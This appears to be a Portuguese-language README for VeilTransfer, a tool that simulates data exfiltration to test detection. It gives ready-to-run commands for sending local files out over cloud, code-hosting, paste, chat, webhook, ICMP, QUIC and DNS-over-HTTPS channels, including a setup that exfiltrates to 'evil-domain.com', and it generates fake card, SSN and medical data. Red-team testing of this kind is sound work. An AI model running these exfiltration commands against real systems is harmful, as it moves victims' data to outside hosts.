
VeilTransfer is a data exfiltration utility designed to test and enhance the detection capabilities. This tool simulates real-world data exfiltration techniques used by advanced threat actors, allowing organizations to evaluate and improve their security posture.
O VeilTransfer é um utilitário de exfiltração de dados projetado para testar e aprimorar as capacidades de detecção. Esta ferramenta simula técnicas reais de exfiltração de dados usadas por atores de ameaças avançados, permitindo que organizações avaliem e melhorem sua postura de segurança. Ao aproveitar vários métodos de exfiltração, como MEGA, GitHub, SFTP, WebDAV e outros, o VeilTransfer ajuda a identificar lacunas em suas defesas e garante que suas soluções de segurança estejam preparadas para combater violações de dados modernas.
| ID | Técnicas |
|---|---|
| T1029 | Scheduled Transfer |
| T1020 | Automated Exfiltration |
| T1132.001 | Data Encoding: Standard Encoding |
| T1560.002 | Archive Collected Data: Archive via Library |
| T1567.001 | Exfiltration Over Web Service: Exfiltration to Code Repository |
| T1567.002 | Exfiltration Over Web Service: Exfiltration to Cloud Storage |
| T1567.003 | Exfiltration Over Web Service: Exfiltration to Text Storage |
| T1567.004 | Exfiltration Over Web Service: Exfiltration Over Webhook |
| T1048.003 | Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol |
| T1048.002 | Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol |
O VeilTransfer também suporta a geração de dados falsos, incluindo:
Crie facilmente arquivos zip para agrupar e compactar dados, que podem ser usados para exfiltração ou para testar diferentes cenários. Suporta divisão opcional em vários arquivos com base no tamanho.
Este exemplo demonstra como transferir um arquivo com segurança para um servidor remoto usando o protocolo SFTP. O arquivo está localizado na máquina local e é transferido para o diretório remoto especificado usando autenticação SSH.
veiltransfer_client transfer sftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server example.com:22 -username user -password pass
Neste exemplo, arquivos de um diretório local são enviados para um servidor WebDAV. O servidor requer nome de usuário e senha para autenticação. O parâmetro server inclui o esquema de URI (https:// ou http://).
veiltransfer_client transfer webdav -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server http://webdav.example.com:8080 -username user -password pass
Este exemplo mostra como transferir arquivos para o armazenamento Mega Cloud. Os arquivos são enviados de um diretório local especificado, e a autenticação é feita usando as credenciais do usuário no Mega Cloud.
veiltransfer_client transfer mega -localPath (/path/to/file or /path/to/directory) -username [email protected] -password megasecretpassword
Neste exemplo, um arquivo é enviado para um servidor FTP. O arquivo é transferido para um diretório específico no servidor remoto. O servidor requer nome de usuário e senha para autenticação.
veiltransfer_client transfer ftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server ftp.example.com:21 -username ftpuser -password ftppassword
Este exemplo demonstra como enviar o conteúdo de um arquivo para o Pastebin. O conteúdo é publicado no Pastebin usando uma chave de API fornecida pelo usuário.
veiltransfer_client transfer pastebin -localPath (/path/to/file or /path/to/directory) -apiKey your_pastebin_api_key
Este exemplo mostra como enviar um arquivo da máquina local para um repositório específico do GitHub. O arquivo é adicionado ao repositório usando o token de API do GitHub do usuário para autenticação.
veiltransfer_client transfer github -localPath (/path/to/file or /path/to/directory) -repo yourusername/repository -apiKey your_github_api_token
Este exemplo demonstra como enviar um arquivo para um canal específico do Telegram. O arquivo é enviado usando um token de API de bot do Telegram, e a mensagem é entregue ao ID de canal especificado.
veiltransfer_client transfer telegram -localPath (/path/to/file or /path/to/directory) -telegramAPI your_telegram_bot_api_token -channelID 123456789
Neste exemplo, o conteúdo de um arquivo é enviado para uma URL de Webhook especificada.
veiltransfer_client transfer webhook -localPath (/path/to/file or /path/to/directory) -webhookURL https://webhook.site/your-webhook-url
Para estabelecer um mecanismo seguro de exfiltração de dados utilizando DNS sobre HTTPS (DoH), os seguintes registros DNS devem ser configurados:
Registro A: Aponte test para o endereço IP <VeilTransfer_IP_Address>.
test -> <VeilTransfer_IP_Address>
Registro NS: Defina um subdomínio (exfil) que seja gerenciado por evil-domain.com.
exfil -> test.evil-domain.com
O domínio exfil.evil-domain.com servirá como o domínio de exfiltração DNS.
Em seguida, inicie o servidor VeilTransfer no modo DoH com o seguinte comando:
veiltransfer_server doh -key ag36rjsg284nfk2g -folder /root/data/exfil
Nota: A chave de criptografia (-key) deve ter 16 ou 32 caracteres.
Para enviar arquivos via DoH, verifique se o servidor VeilTransfer está ativamente em execução no modo DoH com uma chave de criptografia válida. Em seguida, inicie a transferência usando o comando do cliente:
veiltransfer_client transfer doh -localPath /path/to/file_or_directory -key ag36rjsg284nfk2g -dnsServer exfil.evil-domain.com
Para iniciar o servidor VeilTransfer no modo QUIC, use o seguinte comando:
veiltransfer_server quic -cert /path/server.crt -key /path/server.key
Assim que o servidor estiver em execução, você pode enviar arquivos ou diretórios usando:
veiltransfer_client transfer quic -localPath (/path/to/file or /path/to/directory) -server example.com:443
Para permitir transferências de arquivos via protocolo ICMP, inicie o servidor VeilTransfer no modo ICMP executando o seguinte comando:
veiltransfer_server_linux icmp -folder /path/folder
Assim que o servidor estiver ativo, execute o seguinte comando para transferir arquivos ou diretórios via ICMP:
veiltransfer_client_linux transfer icmp -localPath (/path/to/file or /path/to/directory) -server <ip address>
Cria um arquivo zip a partir de um diretório especificado.
veiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip
Cria um arquivo zip dividido em várias partes com base no tamanho especificado.
veiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip -splitSize 1000000
Este exemplo mostra como gerar 100 entradas de dados falsos de cartão de crédito. Os dados gerados incluirão números de cartão de crédito, datas de validade e detalhes associados.
veiltransfer_client generate-fake -ccn -count 100
Este exemplo demonstra como gerar 50 entradas de dados falsos de KTP, que são carteiras de identidade indonésias. Os dados incluem informações pessoais, como nome, endereço e número do KTP.
veiltransfer_client generate-fake -ktp -count 50
Os dados gerados incluem Números de Seguro Social formatados de acordo com os padrões dos EUA.
veiltransfer_client generate-fake -ssn -count 200
Este exemplo demonstra como gerar 300 prontuários médicos falsos em inglês.
veiltransfer_client generate-fake -medical-record -count 300 -language en
Contribuições para o VeilTransfer são bem-vindas! Se você tiver ideias para novos recursos, métodos de exfiltração ou melhorias, envie um pull request ou abra uma issue no GitHub.